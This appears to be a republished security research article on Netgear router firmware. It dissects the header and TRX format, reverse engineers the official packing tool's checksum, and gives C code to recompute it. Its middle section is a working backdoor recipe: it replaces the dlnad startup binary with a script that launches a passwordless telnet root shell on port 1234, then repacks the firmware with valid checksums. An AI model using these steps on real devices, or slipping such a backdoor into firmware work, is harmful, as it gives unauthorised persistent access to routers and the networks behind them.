Analysis of Netgear Firmware and Backdoor Implantation

This article mainly introduces the detailed format of certain versions of Netgear wireless router firmware, as well as how to implant a backdoor into the firmware and repack it. Finally, it reverse analyzes the official packaging tool.

1.

Introduction to Netgear

Netgear, translated into Chinese as 网件, is a company dedicated to providing easy-to-use and powerful network solutions for small and medium-sized enterprises and SOHO users. Headquartered in Santa Clara, Silicon Valley, California, its business spans many countries and regions around the world. Today, we will analyze Netgear’s home wireless router products.

Analysis of Netgear Firmware and Backdoor Implantation

2.

Firmware Analysis

Extracting Firmware with Binwalk

The firmware can be downloaded from the Netgear official website. The versions analyzed this time include R7000-V1.0.9.88_10.2.88.chk and several others.

binwalk -e R7000-V1.0.9.88_10.2.88.chk

The firmware consists of a Netgear header (0x3A bytes) + TRX header (0x1C bytes) + Linux kernel + SquashFS filesystem.Next, we will detail the meaning of each part.

Netgear Header

The first 0x3A bytes are the Netgear-provided header.

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00000000   2A 23 24 5E 00 00 00 3A  01 01 00 03 1A 0A 03 16   *#$^   :        
00000010   C2 70 61 44 00 00 00 00  02 24 20 00 00 00 00 00   聀aD     $      
00000020   C2 70 61 44 F1 AC 09 FF  55 31 32 48 33 33 32 54   聀aD瘳 U12H332T
00000030   37 38 5F 4E 45 54 47 45  41 52                     78_NETGEAR

By examining multiple versions of the R7000 and XR300 chk files, the bytes from 0-8 remain unchanged, while the firmware version number starts from byte 9.Bytes 0x9-0x10 represent the firmware version number, corresponding to the filename.Bytes 0x10-0x17 and 0x20-0x27 contain Netgear’s checksum information, which will be explained later.Bytes 0x18-0x1F indicate the firmware size, with each chk file size ending in 0x3A, so the size information is stored at position 0x7.Bytes 0x28-0x39 contain the firmware type information; for the same series R7000, these 12 bytes are identical.

TRX Header

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00000030                                  48 44 52 30 00 F0             HDR0 ?
00000040   E2 01 C3 75 71 F9 00 00  01 00 1C 00 00 00 60 E5   ?胾q?       `?
00000050   21 00 00 00 00 00



TRX is a format used for kernel image files in certain routers (like Linksys) and open-source firmware (like OpenWRT and DD-WRT).The TRX file header format is as follows:

struct trx_header { uint32_t magic;  /* "HDR0" */ uint32_t len;  /* Length of file including header */ uint32_t crc32;  /* 32-bit CRC from flag_version to end of file */ uint32_t flag_version; /* 0:15 flags, 16:31 version */ uint32_t offsets[4]; /* Offsets of partitions from start of header */};

Bytes 0x3A-0x3D are the magic number.Bytes 0x3E-0x41 indicate the image size.Bytes 0x42-0x45 contain the CRC value.Bytes 0x46-0x47 are the TRX flag.Bytes 0x48-0x49 indicate the TRX version.Bytes 0x4A-0x55 contain partition offsets: loader offset: 0x1C, Linux kernel offset: 0x21E560, rootfs offset: 0x0.3.

Modifying Firmware

Setting Up a Backdoor

A very simple backdoor is set up here, which just adds a command to start the telnet service in the router’s startup script.

cd rootfs/usr/sbin
mv dlnad dlnadd

touch dlnad

vim dlnad
#!/bin/sh
/usr/sbin/telnetd -F -l /bin/sh -p 1234 &/usr/sbin/dlnadd &



A telnet service is opened on port 1234 without requiring a password.

sudo chown 777 dlnad

Since the Netgear header contains a checksum field, and we do not know the verification algorithm, we need to update the header content after modifying the firmware. The method I used is to calculate the CRC32 checksum and update the TRX header length, using the packet and compatible_*.txt tools from the Netgear open-source toolchain to update the Netgear header.

Official Open Source Tools

Netgear provides firmware compilation code.In some versions of the compilation code, there is a tools package that contains a packet tool, which we can use to package the firmware and generate the header.Analysis of Netgear Firmware and Backdoor Implantation4.

Packaging Firmware

The script runs in an environment of: Ubuntu 16.04 X64, using firmware version R6300v2-V1.0.3.2_1.0.57. Running the packet tool directly shows the program’s example output.

Analysis of Netgear Firmware and Backdoor Implantation

Reverse Engineering Packet

Since I am not very familiar with the specific meanings of the packet parameters, I used IDA to reverse engineer the packet.The program logic first assigns the filename variable based on the input parameters, then extracts the firmware version information from the cfg file obtained through -i [configure file path/name]. This file corresponds to ambitCfg.h. By checking the file content, we can see that it defines the firmware version.

/*formal version control*/
#define AMBIT_HARDWARE_VERSION     "U12H240T00"
#define AMBIT_SOFTWARE_VERSION     "V1.0.3.2"
#define AMBIT_UI_VERSION           "1.0.57"
#define STRING_TBL_VERSION         "1.0.3.2_2.1.33.8"

If you want to package other versions of the firmware, you need to modify these fields to match the corresponding firmware version information.Next, we need to add headers to the three output files. All three outputs use the fwrite function to write the contents of malloc_chunk to the files.

Analysis of Netgear Firmware and Backdoor Implantation

By examining the addheader function’s reference to malloc_chunk, we can find that the modification of malloc_chunk is done with the following code.

memcpy(malloc_chunk, v20, v24);
memcpy((char *)malloc_chunk + v24, &s, v26);
memcpy((char *)malloc_chunk + v25, dest, v27);

The v20 array first stores a 4-byte string and then copies the firmware version information into it.Analysis of Netgear Firmware and Backdoor ImplantationThen it copies the kernel_checksum and rootfs_checksum, followed by the lengths of the kernel and rootfs files, and finally the rootfs_kernel_checksum, fills in 4 bytes of 0, adds the content from compatible.txt, and finally calculates a checksum for the entire header, filling the result into the previously filled 4 bytes of 0.

calculate_checksum

Next, we analyze the function that calculates the checksum.Analysis of Netgear Firmware and Backdoor ImplantationDuring the first call, a1 = 0, so c1 = 0, c0 = 0.During the second call, a1 = 1.

Analysis of Netgear Firmware and Backdoor Implantation

The logic here is simple; it reads one byte of data from the file each time.

c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;

To verify the calculation results, I used GDB to debug the packet and check the program’s protection measures.

Arch:     i386-32-little
RELRO:    No
RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Only NX is enabled, and there is no address randomization, making debugging convenient.Set args, gdb packet, and then input:

set args -k R6300v2-V1.0.3.2_1.0.57.chk -b compatible_r6300v2.txt -ok kernel -oall image -or rootfs -i ambitCfg.h

Set a breakpoint at 0x8048a22.Analysis of Netgear Firmware and Backdoor ImplantationYou can see c0 = 0x6523b70c, c1 = 0x60eef274. I wrote a C program to achieve the same effect.

#include<stdio.h>
#include<stdlib.h>
int c1,c0;
int main(){
 FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
 void *kernel_file = malloc(0x2000000);
 int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
 int i;
 for(i=0;i<file_len;i++){
  c0 += *(unsigned char *)(kernel_file+i);
  c1 += c0;
 }
 printf("0x%x,0x%x\n",c0,c1);
}

After running, the calculation results are consistent.Analysis of Netgear Firmware and Backdoor ImplantationNext, analyze when a1 = 2, focusing on the operations of shifting and adding c0 and c1. Through debugging, the final result is c0 = 0x5363, c1 = 1c30.The return value is 0x1c305363.This result can be matched with the corresponding field in the firmware.

Analysis of Netgear Firmware and Backdoor Implantation

The complete C code for calculating the checksum is as follows:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int c1,c0;
int main(){
 //FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
 FILE *kernel_file_fd = fopen("1","rb");
 void *kernel_file = malloc(0x2000000);
 int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
 int i;
 for(i=0;i<file_len;i++){
  c0 += *(unsigned char *)(kernel_file+i);
  c1 += c0;
 }
 c0 = (c0 & 0x0ffff) + ((unsigned int)c0 >> 16);
 c0  = ((c0 >> 16) + c0) & 0xffff;
 c1 = (c1 & 0x0ffff) + ((unsigned int)c1 >> 16);
 c1  = ((c1 >> 16) + c1) & 0xffff;
 int checksum;
 checksum = (c1 << 16) | c0;
 printf("0x%x",checksum);
}

Analysis of Netgear Firmware and Backdoor Implantation

Using this code, calculate the checksum at positions 0x24-0x27.Analysis of Netgear Firmware and Backdoor ImplantationThe calculation is correct.Now that we have fully analyzed the format of the Netgear firmware and the principles of the checksum algorithm, we can make any modifications to the firmware and then use the official tools to package it or use the code provided above to package it.Original source: ChaMd5 Security Team

Analysis of Netgear Firmware and Backdoor Implantation

Leave a Comment